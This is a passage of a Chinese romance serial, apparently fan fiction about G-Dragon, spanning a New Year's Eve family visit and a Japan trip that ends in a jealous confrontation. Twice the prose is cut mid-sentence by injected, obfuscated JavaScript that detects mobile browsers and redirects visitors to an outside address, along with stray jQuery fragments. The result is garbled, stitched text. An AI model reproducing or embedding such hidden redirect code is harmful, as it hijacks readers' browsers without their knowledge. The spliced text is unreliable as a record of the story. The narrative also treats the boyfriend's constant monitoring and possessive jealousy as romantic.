初星一步三回头地离开了房间,关上门的那一刻,她看到至龙还是维持着那个姿势,一动不动地站在房间中央,像一座被遗弃的孤岛。 她知道自己搞砸了,用一种最糟糕的方式,伤害了他千里迢迢奔她而来的满腔热忱。 她抬起手,想再敲敲门,说点什么,但手指悬在半空,却迟迟落不下去。 最终,她无力地垂下手,强迫自己转身离开。 回到家中,年夜饭的香味扑面而来。 “娜比回来啦!快递拿这么久?”舅妈笑着招呼她。 “嗯,有点事情耽搁了。”初星挤出一个笑容,努力让自己融入这团圆的氛围,但心思早已飘远。 席间,外婆不断给她夹菜,舅舅讲着笑话,小表妹叽叽喳喳。初星机械地吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16928621|188757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着,味同嚼蜡,耳边是家人的谈笑,脑子里却全是至龙最后低下头、沉默地退开那一步的样子。他是不是一个人待在冰冷的酒店房间里?他吃饭了吗?他是不是……很难过? 终于,趁着家人移到客厅看春晚,初星飞快溜到厨房,找出食盒,夹了许多菜,还有两块寓意吉祥的年糕。 然后,她抱着沉甸甸的食盒,做贼一样再次悄悄溜出了家门。 夜晚的冷风一吹,让她打了个寒颤,却也让混沌的脑子清醒了一点。她加快脚步,跑着去到酒店。 站在房门外,她转悠了好久,才鼓起勇气,敲了敲门。 里面没有回应。 是走了吗?她的心都揪紧了。 又敲了两下。 里面才传来轻微的脚步声。门被打开一条缝。 至龙站在门后,只穿着一件深色的毛衣,看起来更加清瘦。脸上没有什么表情,看到她,眼底掠过一丝情绪,但很快又归于平静,甚至有点过于平静了。 “你……怎么回来了?”他问,语气平淡,听不出喜怒。 初星举了举手里的食盒:“我给你……带了点年夜饭。你晚上肯定没吃……” 至龙的目光落在那个印着俗气牡丹花的保温食盒上,沉默了几秒。 他侧身让开:“进来吧。” 初星走进房间,打开食盒,香气弥漫开来,带着家的温暖气息。 “你快趁热吃一点。”她小声说,不敢看他的眼睛。 至龙走到桌边,却没有动筷子,只是看着那些菜,又抬眼看向她,目光深沉。 “我……对不起,至龙。刚才……是我不好。我不是那个意思……我没有觉得我们的感情……不重要。”初星抠着手心,斟酌着用词。 至龙静静地听着,没有打断她。 “我只是……我只是还没准备好……那么突然地把你……介绍给所有家人。我需要一点时间,你明白吗?”她抬起头,恳切地看着他,希望他能理解自己。 至龙凝视着她,看了很久很久。 终于,他轻轻叹了口气,伸手抱住她。 “我知道了。”他在她头顶低声说,声音依旧有些沙哑,但那份冰冷的距离感消失了,取而代之的是一种疲惫的包容,“我不逼你。娜比,我永远不会逼你做任何你还没准备好的事。” 初星得到想要的回答,心里却更焦躁了。 他为什么不能生气?为什么不能跟她吵一架?他这样无限度的包容和妥协,让她觉得自己是个无理取闹、却又被纵容的混蛋! 她猛地从他怀里跳出来,一言不发地走到床边,打开至龙那个还没来得及整理的行李箱,胡乱地把里面几件叠好的衣服拿出来,又塞回去,动作带着明显的迁怒和烦躁。 “烦死了!”她憋不住大声抱怨了一句,像是在跟自己生气,又像是在生他的气,“都怪你!” 至龙被她的举动弄得挠头,走上前,困惑又难过的看着她:“怎么了?为什么……要收拾行李?” 是要赶我走吗? 初星把刚扒拉出来的羊绒衫又用力塞进行李箱,拉上拉链,粗鲁的推到他面前,凶巴巴的瞪着他,“大过年的!一个人把男朋友丢在酒店里算什么啊?!快点收拾!带你回家住!哼!” 说完,她扭过头不去看他,脸颊连带着脖子却红得厉害。 至龙彻底呆住了,看着被推到自己面前的行李箱,又看看眼前这个明明是在做“邀请”却一副“兴师问罪”模样的初星,大脑宕机了好几秒,无法处理这巨大的转折。 随即,所有的不安和痛楚都被这甜蜜的“暴力”冲刷得干干净净!他强忍着快要溢出来的笑声,不可置信的再次确认:“……回家?回……外婆家?” “不然呢?!难道让你一个人在这里可怜兮兮地看春晚吗?!快点!磨蹭什么!”初星依旧不看他,听着他的傻样问题,语气更冲了。 至龙憋不住笑出声来,整个人被注入了满满的活力。他上前一步,不顾她那点微不足道的挣扎,再次将她用力地搂进怀里,掐着她的小脸蛋亲了好几下。 “好,回家。”他在她耳边笑着,声音愉悦而响亮,又有些哽咽,“都听你的。我的娜比……最好了。” 初星象征性地捶了他两下,脸埋在他温暖的毛衣里,记仇的咬了一口,又偷偷笑着。 烦死了!真是……拿他一点办法都没有! 75.第 75 章 再次站定在那扇朱漆大门前,初星指尖悬在门铃按钮上方时,竟生出几分近乡情怯的恍惚。 门铃响起,对讲机传来舅妈的声音:“谁呀?” “舅妈,是我,娜比。我……又回来了。”说话间,她看向身旁的至龙。他忐忑地立在那里,攥着行李箱推杆的手都泛白。 电动门缓缓滑开,舅妈看清门外不仅去而复返的外甥女,身旁还多了一个戴着口罩的年轻人时,脸上的笑容凝滞了一瞬:“娜比,这位是……?” 客厅里其他人也听到动静,数道目光齐刷刷地聚焦在门口。 初星握住至龙的手,感受到他掌心沁出的薄汗,以及回握时那份坚定的力道。她扬起一个尽可能自然的笑容,声音清晰地介绍: “外婆,舅舅,舅妈,这是至龙。我男朋友。” 话落,至龙的手猛地收紧,指尖微抖。 不等家人从宣告中回过神来,她硬着头皮继续解释:“他……他刚从国外忙完工作,想给我个惊喜,就直接飞过来了……结果没订酒店……大过年的,我就想……带他回来一起住……”她的声音越说越小,脸也红了起来。 这番信息量巨大的解释让门口的长辈们一时语塞,面面相觑。 还是至龙率先反应过来,他迅速松开行李箱,上前一步,对着几位长辈就是标准的九十度鞠躬。再抬头时,他摘下口罩,露出那张乖巧又紧张的脸。他用练习过无数遍、有些生硬但字句清晰的中文,诚恳的说道: “外婆新年好!舅舅新年好!舅妈新年好!冒昧打扰了!我是权至龙,娜比的男朋友。非常抱歉在这个时候突然前来拜访,给您们添麻烦了!请多多关照!” 外婆虽仍有惊讶,但看着眼前这个礼数周全的年轻人,再瞧瞧身边外孙女那副又羞又急的模样,脸上渐渐漾开慈祥的笑意:“哎呀,原来是娜比的男朋友啊!快进来快进来!外面风大,别冻着了!来了就是客,说什么打扰不打扰的,过年就是要人多才热闹!” 舅舅也回过神来,笑着招呼:“对对,别在门口站着了,快请进!” 舅妈更是热情地要去接至龙的行李箱:“哎哟,这孩子,真是有心了!大老远特地飞过来!快进来暖和暖和!” 而一直躲在妈妈身后、眨着大眼睛打量至龙的小表妹,嘴巴张成了标准的圆形,眼睛瞪得溜圆,目光在至龙和初星之间疯狂切换,手指抬起,眼看一声惊呼就要冲破喉咙—— 初星一步上前,手臂亲昵地环住表妹的肩膀,掌心精准而不着痕迹地捂了一下那即将发出声音的小嘴。 “乖乖!”初星维持着僵硬的笑容,在表妹耳边急速低语,“闭麦!晚点姐姐给你解释!求你了!” 表妹到了嘴边的惊呼被硬生生堵了回去,化作一声细微的呜咽。但她的眼睛依旧瞪得像铜铃,里面翻涌着"我的天!是GD啊!BIGBANG的G-Dragon!"的滔天巨浪。 长辈们的注意力都集中在至龙身上,并未察觉这角落里的短暂交锋。 初星暗松一口气,赶紧松开表妹,递去一个"保持安静"的严厉眼神,随即拉着至龙走进客厅。表妹则像被施了定身咒,呆呆跟在后面,脸上交织着狂喜、震惊与强行压抑的痛苦,表情十分精彩。 客厅里,春晚的欢歌笑语充当着背景音,冲淡了最初的尴尬。至龙被让到沙发坐下,身姿挺拔,双手规整地置于膝上,像个等待老师提问的优等生。 外婆笑眯眯地端来果盘糖果,用方言劝着:“吃糖,吃糖,别客气。”至龙虽听不懂,但看懂手势,立刻双手接过,微微躬身用发音奇怪的中文说:“谢谢外婆。” 舅舅轻咳一声,努力搜刮有限的英文词汇,指着电视里的明星憋出一句:“You… know him?”(你……认识他?) 至龙赶紧摇头,用英语夹杂手势回答:“No, no. I… singer too. But different.”(不不,我……也是歌手。但不一样。) 舅舅似懂非懂点头,又冒出一句:“Music!good!”(音乐!好!)并竖起大拇指。 至龙也竖起拇指回应:"Yes! Music good! Thank you!"(是的!音乐好!谢谢!) 就这样,一个磕磕绊绊蹦单词,一个努力理解辅以手势,竟也聊了起来。舅舅问:“Korea…cold?”(韩国……冷?) 至龙点头:“Yes, cold. Like here.”(是的,冷。像这里。)还比划着穿衣动作。 初星忍着笑充当半吊子翻译(舅舅问你韩国过年吃什么?哦,他说也吃年糕,但做法不同……),舅舅被至龙的认真劲儿逗乐,至龙也被舅舅的热情感染,放松不少。 外婆小声对舅妈说:“瞧这孩子,多懂礼数,问啥答啥,一直笑眯眯的。”舅妈附和:"是啊,模样周正,坐有坐相,娜比眼光不错。" 而最让初星提心吊胆的表妹,异常安静地缩在沙发角落,紧抱抱枕,目光如探照灯在至龙和初星之间扫射。她小脸憋得通红,严格遵守"闭麦协议",但眼中已上演无数场内心大戏。每当至龙无意瞥来,她都会僵住,然后猛低下头研究抱枕花纹,耳尖红透。 至龙注意到异常安静又表情丰富的小姑娘,温和一笑:“妹妹,新年快乐。” “呜……”表妹发出一声被掐住脖子般的呜咽,头埋得更低,肩膀微颤。 初星赶紧在桌下轻踢至龙,眼神示意:别招惹!危险品! 至龙虽莫名,仍还是听话的转回头,继续与舅舅"跨语种艰难友好"交流。 春晚小品逗得满堂笑,至龙虽不懂台词,但见大家笑,也跟着弯起眼睛,偶尔小声问初星:“Funny?”(好笑吗?)得到肯定便笑得更开心。 外婆起身要去准备水果,至龙立刻站起,用简单中文加手势积极表示:“外婆,帮忙?我,可以。” 外婆摆摆手:“不用不用,你是客,坐着歇息。”舅妈也拦着:“对对,至龙你看电视,很快就好。” 但至龙态度坚持,无措地看向初星,眼神写着"我该做点什么?" 初星暗笑,对外婆说:“外婆,让他去吧,他闲着反而不自在,帮忙端端盘子也好。” 外婆这才松口,笑叹:“这孩子,真勤快。” 于是,至龙跟着进了厨房。虽语言不通,但他眼明手快,舅妈取高处物品,他伸手;外婆端汤锅,他马上接过;笨拙认真地学着摆水果拼盘。 舅妈笑道:“妈,你看娜比这男朋友,真不错,没半点娇气,眼里有活。”外婆满意点头:“嗯,是个踏实孩子,招人喜欢。” 简单水果备好,大家重新围坐。至龙先帮外婆摆好垫子,待长辈坐定,自己才在初星身旁坐下。 舅舅想起什么,比划着问:“You… eat dinner? Food?”(你……吃晚饭了吗?食物?) 至龙一愣,老实摇头:“没有。”松懈下来才觉胃里空空。 舅舅皱眉,带着长辈特有的关切:“No eat?!不行!不行!”他起身对舅妈说,“快去给至龙弄点吃的,大过年哪能饿肚子!” 舅妈也忙起身:“哎呀瞧我这记性!光顾春晚了!等着,我把菜热热,很快!” 至龙受宠若惊,赶紧站起摆手:“不用,不用麻烦……” 舅舅把他按回沙发:“No客气!吃饭,重要!” 很快,舅妈端来热气腾腾的饭菜。 舅舅心情大好,拿出白酒和酒杯,对至龙比划:“I, with you, eat a little! Drink a little? New Year happy!”“我,陪你,吃一点!喝一点?新年快乐!) 至龙看着舅舅热情笑容和冒着热气的家常菜,心头暖流涌动。他不再推辞,笑着点头,双手接过小酒杯:“谢谢舅舅。新年快乐。”说罢干脆一饮而尽。酒精度数不低,辣得他直蹙眉,但马上展露笑容,对舅舅举举空杯,又拿起筷子认真吃饭。他是真饿了,也觉得这顿迟来的年夜饭格外香甜。 舅舅看他爽快,拍着大腿夸赞:“Good! Good!”自己也干一杯,不停给至龙夹菜:“Eat! Eat more!” 两人一吃一喝一陪,推杯换盏间情谊迅速升温。舅舅问工作:“Music? Job good?“,至龙:“嗯!音乐!like!”。初星偶尔翻译关键词,多数时间笑着看他们其乐融融的鸡同鸭讲。 表妹处于极度兴奋又强忍的状态,看着偶像坐在自家客厅吃外婆做的红烧肉和爸爸喝白酒聊天……这魔幻场景让她如坠梦境!只能拼命掐大腿忍着想要尖叫的冲动,目光死死黏在至龙身上。 新年钟声敲响,主持人欢呼"新年快乐"时,大家举杯。 外婆笑着说:“新年快乐!身体健康!”舅舅高兴搂得拍着桌子:“Happy New Year! brother!”舅妈:“万事如意!”初星看至龙,眼神温柔:“新年快乐,至龙。”表妹抬起头超小声飞快一句:“欧巴……新年快乐……”随即缩回。 至龙看围坐的家人,举杯,用真诚的中文大声说: “新年快乐!谢谢!……家!” 节目近尾声,酒瓶亦空。舅舅脸色通红,说话声音越来越大,拍着至龙的肩,用中英混合"兄弟语言"交流。至龙眼波流转脸颊泛红,舞台上锋利感也被酒精柔化,显得格外乖巧,他甚至无意识用韩语跟舅舅聊,虽然谁也听不懂谁,却能聊的哈哈大笑。 初星舅妈好不容易劝好舅舅休息,至龙也摇摇晃晃站起想帮忙收拾,却差点绊倒。 初星赶紧扶住。至龙一碰到她,就像找到依靠的树懒,整个人黏上来,手臂紧环着她的腰,下巴搁在她肩上,温热带酒气的呼吸喷在颈窝,奶声奶气的撒娇:“娜比……唔……头晕……抱抱……” 舅妈见状忍俊不禁,外婆也笑摇头:“这孩子,酒量看来不如表现好啊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16928622|188757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 初星尴尬的想推他:“呀!权至龙!松开点!” 可醉酒的至龙抱得更紧,孩子气地在她颈窝蹭蹭:“不要……娜比香……舒服……喜欢娜比……” 初星无奈,只好半拖半抱地,在外婆舅妈的目光中,艰难地把这人形挂件挪向客房。 好不容易把他安顿在床上,替他脱鞋袜盖被,至龙还抓着她的手不放,闭着眼睛喃喃:“娜比……别走……一起睡……” 初星又好气又好笑:“快睡吧,我一会儿来。”好不容易抽手,看他嘟囔着翻了个身,似乎睡着了,才松气关灯走出房间。 刚带上门,转身就被悄无声息站走廊阴影里的表妹吓一跳! 表妹眼睛在黑暗中亮得惊人,一把将她拉到角落,兴奋的摇晃着初星的手臂: “姐!!!他……他他他……他真是那个权至龙吗?!BIGBANG的G-Dragon?!写《谎言》的那个?!我不是做梦吧?!刚才他还撒娇了?!GD私下居然这么会撒娇?!啊啊啊!”她激动得差点跳起,又赶紧捂嘴。 初星看快疯掉的小表妹,点点头,食指竖在唇边:“嘘——!小点声!是他。但你绝对绝对不能告诉任何人!听到没?” 得到肯定答复,表妹倒吸了一口凉气,眼睛瞪得更大,消化几秒,接着问:“你们……你们什么时候一起的啊?!天!我居然今天才知道!我还是不是你最亲爱的妹妹了!” 初星叹气,知道不满足她的好奇心是别想走了:“五年了吧。” “五年?!!”表妹声音猛拔高又瞬压成气声,脸上写满了惊骇,“五……五年?!那岂不是……他们出道前……就在一起了?!我的天啊!!!” 她又想起什么,不停摇着初星手臂:“等等!那之前,我问你知不知道BIGBANG,喜不喜欢GD,你还说不太清楚,好像听说过?姐!你骗我!!! 初星被问得窘迫,目光看向别处,“那个时候……我们分手了。” “分……分手?!”表妹再被这重磅消息砸懵,信息量太大一时处理不来。当红偶像竟是表姐前男友兼现男友?!还长达五年纠缠?!这比所有韩剧都刺激! 但她看着表姐有些黯然的复杂神情,后知后觉意识到背后有很多故事。满腔粉丝狂热稍稍降温,转而涌起心疼和好奇。 “所以……现在是和好了?”她小声问。 “嗯。”初星点头,不想多说,“所以,乖乖,帮姐姐保守这秘密,好不好?这对我非常重要。” 表妹重重点头,给嘴做了个拉上拉链的动作,眼神充满"我懂了!交给我吧!这该死甜蜜负担!"的光芒。 走廊另一端传来舅妈的脚步声,两人立刻结束秘密会谈。初星转身去客厅帮忙收拾,外婆年迈熬不住夜已先回房休息,舅妈也打着哈欠:“娜比,你也累一天了,快去睡吧,这儿明天再弄。” 初星应着,轻手轻脚走向客房。 她推开门,借着走廊透进的微光,看着至龙侧躺着,睡得很沉,走进去,想帮他掖被角。 刚靠近床边,熟睡的至龙却突然动了动,眼睛睁开一条缝,迷蒙地看着她,伸手抓着她的手腕。 “娜比……别走……” 初星无奈地说:“我没走。你好好睡觉。” “冷……”他咕哝着,手上用力想把她也拉上床,“一起睡……抱抱……” “呀!权至龙!你松开!这是在我外婆家!像什么样子!”初星羞愤的压低声音。 可喝醉的人根本讲不通道理,反而因为她的抗拒更加用力,差点拽倒她。初星怕动静太大,只好顺势在床边坐下。至龙得寸进尺地挪过来,头枕在她腿上,环着她的腰,满足地吸了口气,又无意识的蹭了蹭,像找到最舒适的抱枕,很快又沉沉睡去。 初星:“……” 她僵在原地动弹不得。低头看腿上毛茸茸的脑袋,感受他平稳的呼吸和透过布料传来的体温,还有空气中淡淡酒气和他身上熟悉味道……心里那点气恼渐被柔软取代,手指轻柔地梳理着他有些凌乱头发。 就这样不知过多久,初星腿都有些麻了,她尝试着稍动了一下。 至龙就不安地蹙眉,手臂收得更紧,含糊地梦呓:“娜比……不准走……待在我身边……我爱你……” “我不走,你睡吧。”初星轻拍了拍他的背。 或许安抚起作用,他再次安静下来。 夜深人静,窗外偶尔传来远处零星的鞭炮声。初星靠在床头,听着他均匀的呼吸声,感受着这份沉重又甜蜜的负担,毫无睡意。 今天发生一切像电影脑海回放——他的突然出现,酒店的争执,笨拙的沟通,热闹的年夜饭,舅舅的酒,此刻的依偎……混乱,却奇异地编织成一种实实在在的温暖。 她看着他安静的睡颜,低头,在他额头落下一吻。 “新年快乐,至龙。” 是啊,吵吵闹闹,别别扭扭,但最终,他在这里,她在身边。 新的一年,就这样开始了。 76.第 76 章 “终于——解放啦!”珍雅张开双臂,在落英缤纷的石板路上轻盈地转了个圈,水蓝色的袴服下摆划出欢快的弧度。她的声音里带着毕业答辩结束后的松弛,以及鸟儿出笼般的雀跃。 初星跟在她身后,穿着浅樱粉的袴服,木屐敲击地面,发出清脆的“哒哒”声响,却很快被袖袋里又一次传来的震动声打断。她甚至不需要去看,从分开那一刻起,某个人的消息提示音就如同氧气般如影随形。 「到了吗?」「航班顺利吗?」「酒店房间看过了吗?暖气足不足?」「京都晚上凉,带够衣服没有?」「吃的什么?拍照给我看看。」「娜比?」「在干嘛?」「……怎么又不回消息?(附上一张耷拉着耳朵的委屈狗狗)」「未接来电x3」 又来了…… 又是无孔不入的、近乎监控的紧密联系…… 初星啧了一声,指尖在屏幕上快速划过:「到了。很好。看了。带了。吃的鳗鱼饭。在拍照。晚点说。」 “你家那位‘人形挂件’又开始了?”珍雅凑过来,瞥见她屏幕上一闪而过的对话框,揶揄地挑眉,“这频率……比我老妈催相亲还勤快。他才几天没见着你啊?至于这么魂不守舍吗?” 初星按熄屏幕,把手机塞回去,看着眼前的美景:“他就那样。别理他,我们玩我们的。” 她们沿着哲学之道漫步,在如雪的樱花树下拍下一张张笑靥如花的照片,品尝路边小店的樱饼与抹茶冰淇淋。手机依旧不甘心被忽视,每隔一段时间震动一下。初星有时会拿出来看一眼,回一个‘嗯’或‘好的’,更多时候选择忽略,任由震动在袖袋里闷响,直至平息。珍雅看着,摇头笑道:“真是甜蜜的负担。不过初星,也就你能让他这样方寸大乱。” 浸入温暖的泉水中,远眺暮色里沉默覆雪的火山轮廓,初星才真正感受到了完整的宁静。她闭着眼睛,恶劣的希望他的忙碌能持续得再久一些。 然而这份清净极为短暂。等她回到房间,拿起手机的瞬间,十几条未读信息和未接来电的提示刺眼地跳了出来。 「娜比?」「在干嘛呢?」「泡温泉舒服吗?」 「和珍雅一起吧?」「我快忙完,好想你~」「(分享了一首旋律空灵舒缓的钢琴曲)」「……(未接来电)」「娜比?」「怎么不接电话?」「……(未接来电)」「没事吧?我很担心你。」「看到快回我。」「(一张蹲在墙角画圈圈的委屈表情包)」 她越看越无奈,越看越烦,直接回拨过去,电话立刻被接通。 “娜比!你没事吧?我去找你吧?”他的声音急切地从听筒那端传来,背景里还能听到隐约的音乐声和人声,似乎仍在工作场合。 “我没事,不用来,”她尽量保持冷静,“刚才在泡温泉,没带手机。” “泡了这么久吗?我以为……”他的语气里带着担忧后的松懈。 “以为我掉进温泉里淹死了?”初星忍不住打断,脾气冲了起来,“至龙,我不是小孩子了,我和珍雅在一起,能出什么事?你能不能……” “别这么烦人”几个字在舌尖滚了滚,她终究没能说出口。 电话那头沉默了下去。几秒后,他的声音再次响起,带着明晃晃的失落与小心:“……我只是担心你。好了,你没事就好。玩得开心点。” 听他这样放低姿态,初星心里的烦躁又化开了一点,掺进些许愧疚。 “知道了。”她也软了下来,“你忙你的吧,我这边……信号不太好,晚点再聊。” 挂断电话,她长长吁出一口气。珍雅敷着面膜,口齿不清地点评:“哎一古,你们俩这拉锯战……一个恨不得塞进对方身体里,一个想喘口气独立行走,真是冤家。” 初星没有反驳。她贪恋他浓烈专注、如同夏日烈阳般灼热的爱意,可有时也渴望一片能独自徜徉的云朵。这种矛盾,连她自己都无法理清。 接下来的几天,她沉浸于旅行。在北海道的雪场笨拙摔倒又大笑爬起,在涩谷大胆尝试Y2K风格,在镰仓的海边迎着咸涩自由的海风闭上眼睛。至龙的信息还是很频繁,但她回复得越来越慢,间隔越来越长,内容也越来越简略。他似乎也察觉到了这份有意的冷却,消息从事无巨细的分享和追问,渐渐缩减为简单的“早安”、“晚安”、“想你”,只是那执着的、定时定点出现的频率,依旧透露着底层的不安与坚持。 表参道,初星拉着珍雅,钻进买手店内,再出来时,已经焕然一新。宝蓝色的紧身半高领无袖针织衫,如同第二层皮肤般勾勒出优越的肩颈线条、纤细的腰肢和饱满的胸型。下半身是剪裁利落的深灰色铅笔裙,恰到好处地包裹住臀腿曲线,长度在膝上几分,优雅中透着些许性感。透肉的黑色丝袜下的尖头高跟鞋将身段衬得愈发挺拔窈窕,浓密的大波浪侧分垂落在一侧肩头,更添几分慵懒与风情,饱满的红唇抿出一道冷艳的弧度。 气质瞬间从前几日的甜美活泼切换成成熟、冷艳、气场全开的御姐,整个人极具张力。 “啊啊啊!初星!你你你……这身绝了!又冷又御!姐姐杀我!”珍雅举着相机,激动得语无伦次,快门声不绝于耳,“这要是被至龙欧巴看到……他绝对会疯!肯定恨不得下一秒就空降过来把你打包藏起来,谁也不给看!” 初星听着珍雅的话,看着玻璃幕墙倒映出的自己,意味深长的笑了笑。 她故意在人来人往的咖啡馆外多停留了一会儿,倚着栏杆,拍了许多照片。甚至有几个背着相机的时尚人士上前搭讪、真诚称赞她的风格和气质时,她报以了比平日更温和的微笑。 在回到酒店后,趁着那点未散的冲动和一丝说不清道不明的逆反心理,精心挑选了那张最具冲击力的单人照,配上了一段更加直接、几乎算得上宣战的文字: 「让你不爽的事,我顺手就做了。」 发送完,她玩味的想象着他会是怎样一副跳脚又强忍着的表情,咧开的嘴角压都压不下去。 手机开始持续不断地震动,屏幕上疯狂弹出消息提示和点赞评论通知。 她没点开,反而慢条斯理地去洗澡、细致地护肤。等到一切完毕,裹着浴巾出来,看到屏幕上堆积的信息、来电以及一长串的通知,才带着胜利者的姿态,先点开了社交平台。 【Top:宝蓝,非色,是冷焰的囚笼,亦是禁忌的邀约。线条的律动在禁锢与释放的边界进行一场危险的华尔兹。『让你不爽』?不,这是美学意义上的一场…温柔暴政。(引用了一段晦涩的法国哲学句子)】 【大声:初星这身太漂亮了!气质完全不一样!但是…至龙哥看到真的没关系吗?我有点担心…[祈祷.jpg]】 【胜利:嫂子!Queen!这波操作我给满分!帅炸了!哥的血压需要实时播报吗?[吃瓜.jpg]】 【永裴:没事,至龙听初星的。 [微笑.jpg]】 【李洙赫:大拇指[墨镜脸.jpg]】 【Dara:OMG!!!!!这个风格也太适合你了叭!辣疯了!又A又飒!??????求口红色号!】 【其他几位共同好友/造型师/设计师:这身材管理我跪了!/ 龙哥还好吗?需要呼叫救护车吗?/ 所以到底是什么事会让龙哥不爽啊?(疯狂好奇) / 漂亮得可以直接上杂志封面了!】 珍雅也在下面火上浇油回复:「我作证!现场回头率爆表!搭讪的人从街头排到街尾!(当然都被我英勇地挡掉了!放心!)」 初星看着这些评论,忍不住笑出声。 笑过之后,心底那点小小的得意沉淀下来,她又满足地点开了至龙的界面。 【笨蛋至龙】:娜比?! 【笨蛋至龙】:那张照片??? 【笨蛋至龙】:什么叫“让我不爽的事”?!你故意的是不是?!! 【笨蛋至龙】:(分享了一首旋律激烈躁动、歌词充斥着背叛、嫉妒和占有欲的摇滚乐) 【笨蛋至龙】:又不理我? 【笨蛋至龙】:今天玩得不开心吗?是不是我哪里惹你生气了? 【笨蛋至龙】:……(未接来电) 最新几条,发送于十分钟前,话里带着点兴师问罪的意味: 【笨蛋至龙】:珍雅刚更新了动态。(我看到了) 【笨蛋至龙】:那身宝蓝色的…… 【笨蛋至龙】:……很好看。(咬牙) 【笨蛋至龙】:但旁边那个跟你说话、让你笑的男人是谁?“顺手”做的事还包括这个? 初星觉得好笑之余,又开始反思是不是玩过火了。 正准备回复,至龙的消息弹了出来:玩得开心吗? 初星看着这行字,眼前又浮现出他抿着唇、眼睛红红的、委屈却又不敢过多追问的样子。 她指尖顿了顿,回复了还行。 然后,像是安抚,又或是觉得私聊照片质量更佳、更具“专属感”,她在相册里找了一张更凸显出完美腿部线条的高清版本发了过去。 照片发送成功的提示刚消失。 几乎就在下一秒,就显示已读。 然后,一切骤然归于静止。 没有回复任何文字。 没有表情包。 连一个标点符号都没有。 初星握着手机等了一会儿,纤细的眉毛微微挑起。这完全不符合他一贯的风格,是被什么突发工作紧急叫走了?还是……被她的动态、那帮朋友的起哄以及这张高清私照彻底惹毛了,气得说不出话? 她放下手机,走到落地窗前看夜景,似乎这场小小的‘对抗’并没有带来预期的畅快,反而留下了连自己都不愿深究和承认的……失落。 几小时后,初星和珍雅拖着行李下车随着人流走出去,笑着讨论晚上要去哪里寻找地道的大阪烧。 “你说那家隐藏在小巷里的老店会不会已经打烊了?”珍雅翻着手机上的美食攻略。 “这个点可能还好,反正……”初星的话音未落,目光无意间扫过前方的人群,脸上的笑容瞬间凝固。 就在不远处,一个身影闲适地靠着柱子,鸭舌帽压得很低,遮住了大半张脸,只露出线条紧绷的下颌和抿成一条直线的薄唇。 整个人散发着一股低气压,却又因为出众的气质,引得路人频频侧目。 他怎么会在这里?!他不是应该在首尔吗?! 初星的大脑开始宕机,紧盯着至龙。 珍雅顺着她的目光看去,倒吸一口凉气,紧紧抓着初星的胳膊,声音都变了调:“哦莫!那……那不是……?他他怎么来了?!这么快?!坐火箭来的吗?!” 至龙似乎感受到了她们的注视,缓缓抬起头。帽檐下的眼睛精准锁定初星,眼神里有火气,有疲惫,有看到她立刻亮起却又被强行压下的光芒,还有浓浓的委屈和控诉。 他直起身,没有走过来,只是站在原地,隔着几步的距离,静静地看着她,仿佛在说:“我来了。你看着办。” 初星头皮发麻,之前的嚣张气焰消失了,只剩下被抓包的心虚和一丝莫名的……雀跃?她近乎本能地想躲,脚步往后挪了半分。 就这细微的动作,瞬间点燃了导火索。 至龙眯着眼,几步就跨到她面前,无视了旁边已经石化且努力想把自己缩成一团降低存在感的珍雅,视线沉沉地落在初星脸上。 “玩得开心吗?”他开口,声音语气平静得可怕,重复着他几小时前在信息里的问话。 “还…还行……”初星攥了攥手心,也下意识地重复了之前的回答。 “哦?还行?”至龙挑眉,向前逼近一步,初星都能闻到他身上的烟味、清冽的须后水以及车站空调的味道混合在一起的气息。 “‘让你不爽的事,顺手就做了’?嗯?”他缓慢地扫过她身上为了方便赶路而换上的、相对休闲但依旧勾勒出身形的针织衫和牛仔裤,“是哪件?是这件?还是……我没看到的、更让我‘不爽’的事?” 他的声音依旧平静,但每个字都像带着冰碴,砸在初星心上,冷得她指尖发颤。她张了张嘴,想反驳,却发现自己理亏得一个字都说不出来。尤其是他看起来风尘仆仆的,而且好像……很受伤。 珍雅干笑着打圆场:“那个……至龙欧巴,你什么时候到的?怎么也不提前说一声,哈哈……我们正说要去找吃的……” 至龙这才仿佛注意到珍雅的存在,侧头勉强扯出一个礼貌的弧度,笑意却未达眼底:“刚到。珍雅,不好意思,打扰你们旅行了。能暂时……把她借给我几分钟吗?有点事想单独说。” 珍雅如蒙大赦,连连点头:“当然当然!你们聊!你们慢慢聊!我去那边……看看有什么好吃的可以买!”说完,立马脚底抹油,溜之大吉,临走前还给初星递了一个自求多福的眼神。 初星被他灼热又带着审视的目光看得浑身不自在,低头盯着自己的鞋尖,小声道:“你……你怎么突然来了?工作呢?” “工作?”至龙像是听到了什么好笑的笑话,低低地哼了一声,“看到你那条动态,还有底下那群人的留言,你觉得我还有心思管什么工作?” 他抬起手,想碰碰她的脸,但最终只是烦躁地揉了揉自己的后颈:“娜比,你明知道我会是什么反应。你就是故意的,对不对?看我着急,看我吃醋,你就开心了?” “我没有……”初星弱弱地反驳,底气明显不足。 “没有?”至龙努力平复即将失控的情绪,胸口起伏,“那你告诉我,那个男人是谁?珍雅照片里那个跟你说话、让你笑得那么开心的男人是谁?‘顺手’的事,包括让他离你那么近?” 初星心里一颤,没想到他脑补了这么多,也意识到自己可能真的触及了他的敏感点。 “就是个问路的游客……人家只是礼貌地问个路……”她有些气短地解释。 “问路需要笑得那么开心?为什么要理他?不可以让他去找别人嘛?”至龙打断她,眼神锐利。 